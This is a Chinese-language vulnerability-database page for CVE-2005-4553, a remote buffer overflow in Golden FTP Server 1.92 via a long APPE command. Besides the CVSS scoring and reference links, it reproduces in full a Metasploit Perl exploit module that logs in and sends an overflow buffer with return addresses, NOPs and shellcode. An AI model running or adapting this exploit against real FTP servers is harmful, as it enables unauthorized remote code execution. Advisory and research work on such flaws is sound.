CVE-2005-4553
CVSS7.5
发布时间 :2005-12-28 06:03:00
修订时间 :2008-09-05 16:57:10
NMCOE    

[原文]Buffer overflow in Golden FTP Server 1.92 allows remote attackers to execute arbitrary code via a long APPE command. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information.


[CNNVD]Golden FTP Server APPE命令缓冲区溢出漏洞(CNNVD-200512-593)

        Golden FTP Server 1.92中存在缓冲区溢出,远程攻击者因此可以通过长的APPE命令来执行任意代码。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4553
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-4553
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200512-593
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/16060
(UNKNOWN)  BID  16060
http://secunia.com/advisories/18245
(VENDOR_ADVISORY)  SECUNIA  18245
http://xforce.iss.net/xforce/xfdb/23866
(UNKNOWN)  XF  goldenftp-appe-bo(23866)

- 漏洞信息

Golden FTP Server APPE命令缓冲区溢出漏洞
高危 缓冲区溢出
2005-12-28 00:00:00 2006-09-05 00:00:00
远程  
        Golden FTP Server 1.92中存在缓冲区溢出,远程攻击者因此可以通过长的APPE命令来执行任意代码。

- 公告与补丁

        

- 漏洞信息 (1381)

Golden FTP Server <= 1.92 (APPE) Remote Overflow Exploit (meta) (EDBID:1381)
windows remote
2005-12-20 Verified
21 redsand
[点击下载] [点击下载]
##
# Written by Tim Shelton [redsand@redsand.net]
# GoldenFTPd 
##

package Msf::Exploit::goldenftpd_appe;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
  {
	'Name'     => 'GoldenFTPd APPE <= 1.92 Stack Overflow',
	'Version'  => '$Revision: 1.0 $',
	'Authors'  => [ 'Tim Shelton <redsand [at] redsand.net>', ],

	'Arch'  => [ 'x86' ],
	'OS'    => [ 'win32', 'win2000', 'winxp', 'win2003' ],
	'Priv'  => 0,

	'AutoOpts'  => { 'EXITFUNC' => 'thread' },
	'UserOpts'  =>
	  {
		'RHOST' => [1, 'ADDR', 'The target address'],
		'RPORT' => [1, 'PORT', 'The target port', 21],
		'USER'  => [1, 'DATA', 'Username', 'anonymous'],
		'PASS'  => [1, 'DATA', 'Password', 'metasploit@'],
	  },

	'Payload'  =>
	  {
		'Space' => 400,
		'BadChars'  => "\x00\x0a\x0d\x20",
		'Keys' => ['+ws2ord'],
	  },

	'Description'  =>  Pex::Text::Freeform(qq{
		This module exploits a stack overflow in the GoldenFTPd
	server. The flaw is triggered when a APPE command is received
	with a specially crafted overly-long argument. This vulnerability 
	affects all versions of GoldenFTPd prior to 1.92 and was discovered by
	Tim Shelton.
}),

	'Refs'  =>
	  [
		['RED-NET',   '2005-11-14-01'],
	  ],

	'DefaultTarget' => 0,
	'Targets' =>
	  [
		['GoldenFTPd Server <= 1.92 Universal', 0x99998888, 0x11111111, 0x98d855eb, 0x0044395F], 
	  ],

	'Keys'  => ['goldenftp'],

	'DisclosureDate' => 'NONE',
  };

sub new {
	my $class = shift;
	my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
	return($self);
}

sub Exploit {
	my $self = shift;
	my $target_host = $self->GetVar('RHOST');
	my $target_port = $self->GetVar('RPORT');
	my $target_idx  = $self->GetVar('TARGET');
	my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
	my $target      = $self->Targets->[$target_idx];

	if (! $self->InitNops(30)) {
		$self->PrintLine("[*] Failed to initialize the NOP module.");
		return;
	}

#	my $shellcode = "\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe";


	my $evil = ("APPE /");
	$evil .= ("A/")x120;

	$evil .= (pack("V",$target->[3])) x 4;
	$evil .= (pack("V",$target->[1]) . pack("V",$target->[2]) . pack("V",$target->[4]) . pack("V", $target->[1]) ) x 4;
	$evil .= $self->MakeNops(30);
	$evil .= $shellcode;
	$evil .= "\x0a\x0d";

	my $s = Msf::Socket::Tcp->new
	  (
		'PeerAddr'  => $target_host,
		'PeerPort'  => $target_port,
		'LocalPort' => $self->GetVar('CPORT'),
	  );

	$self->PrintLine(sprintf ("[*] Universal GoldenFTPd 1.93 Exploit by redsand\n"));

	if ($s->IsError) {
		$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
		return;
	}

	$self->PrintLine(sprintf ("[*] Trying ".$target->[0]." using return address 0x%.8x....", $target->[4]));

	my $r = $s->Recv(-1, 30);
	if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
	($r) = $r =~ m/^([^\n\r]+)(\r|\n)/;
	$self->PrintLine("[*] $r");

	$self->PrintLine("[*] Login as " .$self->GetVar('USER'). "/" .$self->GetVar('PASS'));
	$s->Send("USER ".$self->GetVar('USER')."\r\n");
	$r = $s->Recv(-1, 10);
	if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }

	$s->Send("PASS ".$self->GetVar('PASS')."\r\n");
	$r = $s->Recv(-1, 10);
	if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }

	$self->PrintLine("[*] Sending evil buffer....");
	$s->Send($evil);
	$r = $s->Recv(-1, 10);
	if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
	$self->Print("[*] $r");
	return;
}

# milw0rm.com [2005-12-20]
		

- 漏洞信息

21905
Golden FTP Server APPE Command Remote Overflow
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

- 时间线

2005-12-22 Unknow
Unknow Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站